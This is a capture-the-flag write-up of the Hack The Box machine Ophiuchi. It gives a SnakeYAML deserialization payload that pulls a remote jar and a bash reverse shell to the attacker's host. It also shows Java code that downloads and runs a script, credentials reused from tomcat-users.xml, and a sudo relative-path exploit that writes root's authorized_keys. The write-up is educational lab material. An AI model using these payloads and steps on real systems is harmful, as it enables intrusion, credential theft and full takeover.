HTB - Ophiuchi Write-up

Vulnerabilities/bad configuration exploited

  1. Unsafe use of SnakeYAML causing a deserialization vulnerability.
  2. Password re-use.
  3. Insecure programming - using relative paths for critical files.

Enumerating the network

I started with a basic nmap scan of the target machine:

sudo nmap -sC -sV -oA nmap/ophiuchi 10.10.10.230 -vv

-sC : Load default scripts
-sV : Determine service/version info from open ports
-oA : Output in all formats
-vv : Increased verbosity
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpzM/GEYunOwIMB+FyQCnOaYRK1DYv8e0+VI3Zy7LnY157q+3SITcgm98JGS/gXgdHQ4JnkCcXjUb9LaNRxRWO+l43E9v2b2U9roG8QetbBUl5CjJ0KHXeIwNgOcsqfwju8i8GA8sqQCELpJ3zKtKtxeoBo+/o3OnKGzT/Ou8lqPK7ESeh6OWCo15Rx9iOBS40i6zk77QTc4h2jGLOgyTfOuSGTWhUxkhqBLqSaHz80G7HsPSs1BA9zAV8BOx9WmtpMsgDcNG14JAQQd904RCzgw0OaQ0J6szs78Us8Piec0rF/T4b1H3sbUedOdA0QKgGbNojObVrz5VwOw6rqxbs1gZLePXB5ZNjm0cp+Sen8TkRkdUf7Sgw92B//RhSoIakp1u5eOPs/uJ6hyCholUnerl3WK8NPB9f9ICPYq8PbvVMu6zcytV/cCjwxFloWB989iyuqG/lYcdMhGJlAacOFy5TRcTB8c5Qlmtl44J/4dyuCJAhj5SY6TRdcSxhmz0=
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM79V2Ts2us0NxZA7nnN9jor98XRj0hw7QCb+A9U8aEhoYBcrtUqegExaj/yrxjbZ/l0DWw2EkqH4uly451JuMs=
|   256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO31s/C33kbuzZl9ohJWVEmLsW9aqObU6ZjlpbOQJt0C
8080/tcp open  http    syn-ack ttl 63 Apache Tomcat 9.0.38
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only ports 22 and 8080 were open.

The http-title detected on port 8080 seemed interesting, so I browsed to http://10.10.10.227:8080 to see what was.

YAML Parser homepage

It was a simple YAML parser. However, I got an error message when trying to parse any YAML.

"Feature on hold" message

The message left me thinking it should be vulnerable somewhere and so I tried different inputs to try and 'break' the parser. After adding a single  ', an error message was displayed on my screen (due to uneven quotes).

Code 500 due to unexpected input. Also revealing SnakeYAML being used.

Based on the error message, SnakeYAML library was used, and a little Googling had me learn that a deserialization vulnerability exists on SnakeYAML if not implemented properly.

Unsafe use of SnakeYAML causing a deserialization vulnerability.

Read more: https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/
I started a simple HTTP server so that the target machine will perform a request to me.

# Start python simple HTTP server on port 80.
sudo python3 -m http.server 80

I used the PoC and it worked.

// Copy and paste into YAML parser.
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.77"]
  ]]
]
Received GET request from YAML Parser input field.

Next, I weaponized the exploit to get a shell.
Payload: https://github.com/artsploit/yaml-payload

Creating the payload

  1. Created a simple reverse shell script, choco.sh.
    #!/bin/sh
    
    bash -i >& /dev/tcp/10.10.14.77/8001 0>&1
    
    # Save and exit.
    
  2. Modified the code in: yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java. The reason why I placed the output to /tmp/ folder was to be safe that my file would be downloaded correctly. And just to be sure, I enabled execute permissions on my script once it was downloaded.
    ...omitted...
    public AwesomeScriptEngineFactory() {
            try {
                Runtime.getRuntime().exec("curl http://10.10.14.77/choco.sh -o      /tmp/choco.sh");
    		    Runtime.getRuntime().exec("chmod +x /tmp/choco.sh");
                Runtime.getRuntime().exec("bash /tmp/choco.sh");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    ...omitted...
    
  3. Compiled the code.
    # Compile and build .jar file.
    javac src/artsploit/AwesomeScriptEngineFactory.java
    jar -cvf payload.jar -C src/ .
    

Getting initial access

With my payload.jar and HTTP server ready, I sent my malicious request to the YAML parser and got a shell back.


// Modify URL value to get payload.jar, and paste into YAML parser.
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.77/payload.jar"]
  ]]
]
Connection established, shell returned.

Before I moved on, I upgraded my shell to an interactive one.

# Spawn a partial interactive shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Send process to background.
Ctrl+Z

# Pass keyboard shortcuts and etc. through.
stty raw -echo && fg

# Set TERM environment (To allow clearing terminal screen)
TERM=xterm

Privilege Escalation to admin

I connected to the target machine as tomcat, which had little to no privileges. Thus, I had to find out who in the system had more privileges.

# Get users in system.
cat /etc/passwd | grep "/bin/bash"
root and admin users found

root was out of the way for now, so I focused on getting to admin.

Since the target machine was using tomcat, I searched for its configuration files to retrieve tomcat manager credentials.

# Find tomcat directory
find / -name "*tomcat" 2>/dev/null
tomcat was installed in /opt/

tomcat was located in /opt/tomcat/. Next I attempted to find the tomcat manager credentials.

Password re-use

tomcat manager credentials are stored in <tomcat_directory>/conf/tomcat-users.xml. And there it was.

<!--Found credentials in tomcat-users.xml-->
...omitted...
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
...omitted...

The username was coincidentally admin, which led me to believe that the password for admin in the system was the same.

I attempted to ssh onto the target machine as admin, and successfully got in.

# SSH to admin user
ssh admin@10.10.10.227
Password: whythereisalimit
SSH to admin successful

With that, I got the User Flag.

User Flag obtained

Checking sudo permissions

The first thing I did was to check sudo permissions on admin user.

# List all commands user admin could run as sudo.
sudo -l

# Output
...omitted...
User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

admin user could execute a specific golang script, /opt/wasm-functions/index.go as sudo.

I checked the /opt/wasm-functions folder to see the folder permissions.

# Check permissions in folder recursively.
ls -lahR /opt/wasm-functions

-l : Use long listing format
-a : All. (do not ignore entries starting with '.')
-h : Make it more readable
-R : Recursive

# All files and folders owned by root.
/opt/wasm-functions/:
total 3.9M
drwxr-xr-x 3 root root 4.0K Oct 14  2020 .
drwxr-xr-x 5 root root 4.0K Oct 14  2020 ..
drwxr-xr-x 2 root root 4.0K Oct 14  2020 backup
-rw-r--r-- 1 root root   88 Oct 14  2020 deploy.sh
-rwxr-xr-x 1 root root 2.5M Oct 14  2020 index
-rw-rw-r-- 1 root root  522 Oct 14  2020 index.go
-rwxrwxr-x 1 root root 1.5M Oct 14  2020 main.wasm

/opt/wasm-functions/backup:
total 1.5M
drwxr-xr-x 2 root root 4.0K Oct 14  2020 .
drwxr-xr-x 3 root root 4.0K Oct 14  2020 ..
-rw-r--r-- 1 root root   88 Oct 14  2020 deploy.sh
-rw-r--r-- 1 root root  522 Oct 14  2020 index.go
-rwxr-xr-x 1 root root 1.5M Oct 14  2020 main.wasm

Insecure programming - using relative paths for critical files.

I opened /opt/wasm-functions/index.go.

package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

I looked at the main function and noticed that the files included were not in absolute paths. Therefore, I could make my own main.wasm and deploy.sh to get root.

To add, the script would execute deploy.sh only when the result returned from main.wasm is 1. I tried running index.go as sudo, however it did not work. So I assumed that the result wasn't returning 1.

Before creating the exploit, I created a folder called megaman in /tmp/, as I could perform read/write operations.

# Add megaman folder to /tmp/
mkdir /tmp/megaman

Creating the exploit

Modifying main.wasm

Read more: https://github.com/WebAssembly/wabt

  1. I downloaded the WABT: WebAssembly Binary Toolkit.

    #  https://github.com/WebAssembly/wabt  
    git clone https://github.com/WebAssembly/wabt.git
    
  2. Then, I copied main.wasm from the target machine to my host machine.

    # On target machine
    cat main.wasm | nc 10.10.14.77 9001
    
    # On host machine
    nc -lvnp 9001
    
  3. Next, using wasm2wat from the tookit, i converted main.wasm to main.wat. This allowed me to read/modify its contents.

    ./wasm2wat main.wasm -o main.wat
    
    -o : output to file
    
  4. There was a func $info from main.wat, which was what index.go was calling, to check if 1 was returned from main.wasm. Therefore, I modified the i32.const 0 to i32.const 1.

    
    # Modified main.wat.
    (module
     (type (;0;) (func (result i32)))
     (func $info (type 0) (result i32)
    i32.const 1)
     (table (;0;) 1 1 funcref)
     (memory (;0;) 16)
     (global (;0;) (mut i32) (i32.const 1048576))
     (global (;1;) i32 (i32.const 1048576))
     (global (;2;) i32 (i32.const 1048576))
     (export "memory" (memory 0))
     (export "info" (func $info))
     (export "__data_end" (global 1))
     (export "__heap_base" (global 2)))
    
  5. I then converted the modified main.wat to main.wasm using wat2wasm, again from the toolkit.

    # This would create/overwrite main.wasm.
    ./wat2wasm main.wat
    
  6. Finally, I transferred the modified main.wasm to the target machine, in the megaman folder.

    # On target machine
    curl http://10.10.14.77/main.wasm -o /tmp/megaman/main.wasm
    

Creating deploy.sh

  1. I created a new deploy.sh file in our megaman folder, then added a command to add my host machine's public key to the root's authorized_keys.
    # Create RSA priv/pub key pair.
    ssh-keygen
    
    # Copy contents from ~/.ssh/id_rsa.pub 
    
  2. I created a new deploy.sh file in our megaman folder, then added a command to add my host machine's public key to the root's authorized_keys.
    #!/bin/sh
    
    # Add host machine's public key to target machine's SSH authorized keys.
    echo "ssh-rsa AA...omitted...Mk= daomaster@primodao" > /root/.ssh/authorized_keys
    echo $(id)
    echo "RSA public key successfully added."
    

Running index.go

Now, my megaman folder had 2 files,

  1. A modified main.wasm
  2. A malicious deploy.sh

After making sure that I was in the megaman directory, I executed the sudo command that admin was allowed to run.

 # Change directory to /tmp/megaman
 cd /tmp/megaman
 
 # Run command
 sudo /usr/bin/go run /opt/wasm-functions/index.go
My host public key was successfully added to the target machine's root .ssh folder

The command would execute and because of relative pathing in the code, it pointed to the main.wasm and deploy.sh I modified/created, located in my current working directory.

I logged in as root via SSH and... pwned.

Successful SSH to root and obtained Root Flag

Learning points

  1. Update to the application's latest version, if possible.
  2. Implement proper input sanitization
  3. Have good cyber hygiene, such as avoiding password re-use.
  4. Practice secure programming, and use good programming practices.

Afternote

Rated Medium. This machine was rather challenging for me, especially when I could not get my initial shell after testing my scripts. It only dawned upon me that I should have modified the permissions for the shell script to execute.

Getting root was the climax, as I had no experience neither in Golang nor WebAssembly. I had to read the documentations and understand the workflow before understanding how to exploit the vulnerability. The official forum definitely helped giving me nudges for me to progress. Nevertheless, I learnt so much from this machine and it was extremely fun and challenging!

Rated-Null

Rated-Null